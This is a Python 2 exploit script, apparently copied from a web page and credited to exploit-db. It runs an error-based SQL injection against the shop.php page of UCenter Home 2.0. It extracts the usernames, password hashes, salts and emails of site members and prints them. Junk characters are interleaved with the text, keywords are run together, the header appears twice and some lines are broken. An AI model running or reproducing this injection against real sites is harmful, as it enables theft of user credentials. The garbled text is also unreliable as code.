#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl- V" J% [/ Z4 |+ v8 s: ^6 J- c
5 }/ d: P' g u3 Q% ^- W" v
' q! [& k, o, Z( z#!/usr/bin/env python $ ~' Q0 s( b% H
* u4 n, f7 a( e1 C9 ]1 w, m- Eimport sys 5 T$ ?& D! E6 S5 S/ F0 B( b
import urllib2
( E4 }/ O# e. g$ i, ximport re $ x( _3 `6 E8 ? x8 A3 d* _
, b# P& z8 }' O: A$ z- p
def info():
5 b/ e k! j5 X9 U- H p3 L8 P print 'From:http://www.exploit-db.com/exploits/14997/' . o% g6 \5 O C( e0 R- ]
print 'http://www.hake.cc/Web_loudong/'
. x4 R# U0 ] j) [) ? print 'changed:qiaoy'
% Q. M! d8 U7 O9 w: Q; d print 'exp:' % T! A: ^5 p7 z) b) o
print ' ./UCenter_Home_2.0.py site' % X( W& P9 H1 \; z# |/ W
" x* v8 u4 `6 z! Rdef main():
4 `% n& ~9 y& T1 g if len(sys.argv) != 2:
! h! E+ T( D4 O- x: w3 B3 x1 Z' Y5 B6 v info() + \- c6 ~' t# h3 g; Q2 q; W
else:
5 ~: B. M a& z+ P0 y w; ^& P site = sys.argv[1]
+ f( s$ n- D5 t, z$ Y/ F5 a if site[0:7] == 'http://': 1 |( J) e/ P7 L5 v
sitesite =site % H) J8 `1 u$ k$ ?# y1 f
elif site[0:8] == 'https://': & k( ~% O/ T, R5 ~7 o0 h7 X
sitesite = site $ T2 H7 ^" b" q0 l2 A: p/ V
else: / e# _2 d& T, D$ _1 q/ e' q
site = 'http://'+site 4 {- a" r3 X; a/ [, e! O
try:
, Y: D6 h: p- r/ ?0 i url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
5 i& U9 j$ O# j4 h* A9 ~ Value = urllib2.urlopen(url).read() * j8 [% ~' j: O7 Q0 f
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
9 D6 O* L f Z3 D hacked = Msg.split(':')
. R' m1 J T+ E" w7 P z! a/ {2 @ print 'Name: '+hacked[1] ; m1 Y: f# w4 }- v# P5 K
print 'Passwd: '+hacked[2]
- Z4 J& _' _5 ?+ d print 'salt: '+hacked[3] " L$ n+ u# A: u" f# l( u0 q
print 'email: '+hacked[4]
" h( J" P6 O' D# R! T- c except: 4 J/ X( g# T7 h, U- G* a9 E8 T
print 'Sorry,I can\'t work............'
$ a8 f% Q- k3 g5 T* ?: ]
3 a4 Y( k! c; C2 ]% h# ?4 ], {if __name__ == '__main__': - k% H! E& m$ y+ H% X( K
main() |